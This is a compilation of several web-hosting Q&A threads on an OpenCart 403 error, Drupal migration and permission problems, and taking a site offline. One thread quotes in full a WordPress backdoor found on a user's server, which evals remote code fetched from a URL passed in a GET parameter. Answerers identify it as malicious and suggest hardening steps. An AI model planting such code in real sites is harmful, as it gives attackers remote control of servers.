Modifications page which contain refresh button, shows
403 Forbidden nginx/1.14.0
chmod is 644
also I tried to re-upload the file public_html/admin/controller/marketplace/modification.php, but still shows the 403 error, I also tried a fresh install copy.
I've found that my server blocks this path marketplace/modification, is there any way to rename the modification page in Admin control panel?
I'm using 3.0.2.0 (Arabic codlance)
please help
The path to the file "modification.php" is hardcoded in many places, so there are only 3 possibilities:
Change the hoster
Contact the hoster and ask to allow the file modification.php and folders with names modification and modifications
Change the php-code and the file-name of modification.php to another name.
Assume you chose option 3, there still might be another problem because there exists still one or more folders modifications and perhaps also files with that name in plural or singular.
So if you want to keep that free hoster and also use opencart and additionally have no chance that the hoster is changing some settings for you, then you've to spend some time to change the code or perhaps some money to let someone do it for you.
Just an impression where modification is found as example, the list is still much longer:
UPDATE
There is still a chance that a file ".htaccess" exists on the server in your web-directory and that content of this file prohibits you from accessing all files and directories. Look in your web-directory and post the file if you find one.
Related
I have been looking at the Wordfence scan results on my site this morning and see 17 instances which seem to imply malware has ben installed on the server. I would be surprised if this were to be the case but wanted to be sure:
One example,
Filename: wp-admin/menu-header-cron.php
File Type: Not a core, theme, or plugin file from wordpress.org.
Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <?php\x0aif (isset($_GET['limit'])) {\x0a eval(file_get_contents('http://' . $_GET['limit']));\x0a}
The issue type is: Backdoor:PHP/numeric.rce.8527
Description: Remote code execution malware
Looking at the file in question, the content of this file is:
<?php
if (isset($_GET['limit'])) {
eval(file_get_contents('http://' . $_GET['limit']));
}
Can anyone confirm whether this is an innocent file or something I need to quarantine/delete?
Also, has was this file created? It implies that remote code has the capability of creating new files in the wp-admin/ sub folder? Is there not a simple way to prevent this which would preclude any further instances.
Many thanks for any input
Answers:
Yes, this is a dangerous file as already mentioned by #Everlyn Woodley. eval() is not considered safe in production at all.
Further to verify, a quick grep "isset($_GET['limit'])" on source file of latest Wordpress package tells that its not part of it, hence again a dangerous code.
Yes, someone is able to upload files on your server. Probably they have uploaded some kind of web-shell and can manipulate any file on your hosting account. Its pretty common though.
To prevent it in future (given that you have successfully cleaned your current WP install), you can do few things, (there are plenty of articles so it would be redundant) but mentioning few might not hurt here:
Install or enable mod_security on server level
Always make sure you have latest Wordpress as well plugins
Use minimal plugins.
Simple but effective: Change location of wp-plugin and theme folders.
(https://wordpress.org/support/article/editing-wp-config-php/#moving-wp-content-folder )
If you examine access log of a regular WP install, you will notice that there are tons of bots hitting with known-vulnerabilities mostly targeting plugins folder, simply changing plugins folder location along with other security measures mentioned above can significantly reduce such hacks.
That snippet is reading the limit parameter then passing is as an URL to get a file. And eval function will just execute it
So its pretty dangerous
I have to move an existing Drupal site from one server to another. I've done so by doing a mysql database export/import and copying over the files to the new server. On the new system, the root page comes up fine but if I try to go to any deeper directory levels I get a 404 Not Found Error.
so drupal.newserver.com -> works fine
but drupal.newserver.com/user -> gives me a 404 and happens,same for all subdirectories
Is there something that I'm missing that is part of a drupal export? Could it be related to the structure of the /sites directory which is under the webserver's docroot?- which has a folder named after the old server (ie drupal.oldserver.com but not drupal.newserver.com? Also, I noticed that there are _htaccess files and .hta files but not .htaccess files in the site files that I've copied over.
Sorry if I'm asking a bleedingly obvious question - I'm very new to Drupal. Thank you!
Check whether the clean url is enabled in your web server. To check try this:
drupal.newserver.com/?q=user.
Just to let anyone who might come across via a google search - I was able to get this to work . It turns out that while mod_rewrite was enabled, what I had to do was to enable the AllowOverride directive for the web directory in httpd.conf to be set to ‘All’. If it’s not set to this, the server won’t respect the .htaccess rules you put into the drupal directory. It’s been a while since I’ve worked with apache config files so it took a while to finally piece it together. The main breakthrough came when I realized that if I turned off clean-urls then the links worked but looked ugly and then was able to research clean_url.
Do You know elegant way to make site temporarily unavailable?
Any configuration or settings for this?
In IIS you can put a app_offline.htm
http://weblogs.asp.net/scottgu/archive/2005/10/06/426755.aspx
In others web servers check the manual or use a script to rename the index to a backup name and then rename the offline page to index and vice versa...
You could also create an 'inactive' file, the 'inactive' file will be checked for existence when pages are loading. If the content is found then you can abort logic.
E.g. in php you would include the following line (via an include inter alia)
<?php if(file_exists('/path/to/OffLine.file')) die('The Application is currently Offline! Please try again in a few minutes...'); ?>
If you wanted this # the box level you would add the function to the PHP.ini... see http://uk.php.net/manual/en/ini.core.php#ini.auto-prepend-file
To set a PHP.ini per site see https://serverfault.com/questions/34078/how-do-i-set-up-per-site-php-ini-files-on-a-lamp-server-using-namevirtualhosts
The same is obviously possible in other languages.
I have a particular script which does some patching and actually creates this file for me... see Custom app_offline.htm file during publish
Actually, there is a mechanism already to do it, out of the box.
You can find a post about it here.
Basically you have to include an App_Offline.htm in the root of your site, and IIS will bring down the site until that file is removed.
I would like to move a test Drupal installation from
/opt/lampp/htdocs/corporate/internet
to
/corporate/internet
What corresponding changes changes do I have to make in .htacess, settings.php and/or other settings?
That depends on that how your sites/ directory is set up. If you just have a default directory within, they you really should be good to go.
Mostly, you don't have to make changes. This is because Drupal installations tend to be set up to use relative paths that will be valid no matter where in the system it is. You may want to do a quick search of any custom code for the string /opt/lampp/htdocs to see if someone didn't do something relatively, but any other contrib code should work fine.
As Jubal mentions, sites set up in the sites directory may need renaming if you're going to be using a different URL to access the site - if you're moving from devel.site.com to www.site.com, and you have a sites/devel.site.com directory, then you're probably going to want to copy that directory to sites/www.site.com. On the other hand, if you're using sites/default for your site, or if you're not changing the url at all, then this isn't a problem.
Do note that the .htaccess in the root directory of Drupal is very important for Drupal to work, and that doing a simple cp -R of the directory will not copy the .htaccess, so make sure you copy that. (.htaccess files in sub-directories, like sites/default/files, will be fine, it's just this one in the root.)
And finally, check your file permissions after you move the files. You'll especially want to make sure that the file permissions for the files and tmp directories are correct so that people can properly upload files. (This may not be important - but it's something to check nonetheless.)
I have recently moved a drupal site. (both servers run on a debian based LAMP stack) Everything works great here, including the uploading of images via a CCK filefield. Original url:
dev.example.com/foo
Deploying it to a test folder on the production server to a test folder for an environmental shakedown cruise lead it here:
www.example.com/foo
Everything works here too, including image uploads. After adjusting sites/default/settings.php, then making it readonly again, I renamed the folder to its production name:
www.example.com/bar
Everything works fine here except for image uploading. I've adjusted the webroot variable within settings.php .
Things I have tried so far:
Gave php system user write permissions to sites/default/files (images are set to go in sites/default/files/images but imagecache just puts them in sites/default/files)
Enabled file php file uploading for www.example.com/bar/sites/default/files
Are there any other configuration settings I should be looking out for here? I'm running low on relevant solutions.
Edit: I had quite the typo there, I adjusted sites/default/settings.php, not sites/default.settings.php .
Your question is slightly confusingly framed. default.settings.php has no impact on Drupal -- its merely a template. The file that contains the actual database connection information and other configuration is settings.php.
You may also want to look at your .htaccess file in your root Drupal folder and try changing the RewriteBase directive to the folder you are accessing your site on. Usually you should not have to change the $base_url directive in the settings.php file that you may/may not have done. Reverse that change for now if you have (you may need to play around with that later though).
imagecache will always upload the image derivatives in sites/default/files but imagefield will upload the original image in the folder you specify (within sites/default/files). You will get a setting for the imagefield under Manage Fields->[Name of Image field]->Configure under Path Settings.
Please google to understand the difference between imagecache and imagefield. Make sure your sites/default/files (and subfolders) are writable by the apache user (usually www-data).
In such situations, its usually a good idea to pick up a book on apache (if you haven't already) and try to understand how it works. It will be time consuming but will help you out in the future when you encounter configuration issues like this.
This worked for me. When having issues uploading images to a cck field, I gave write permissions to directory:
sites/default/files/field/image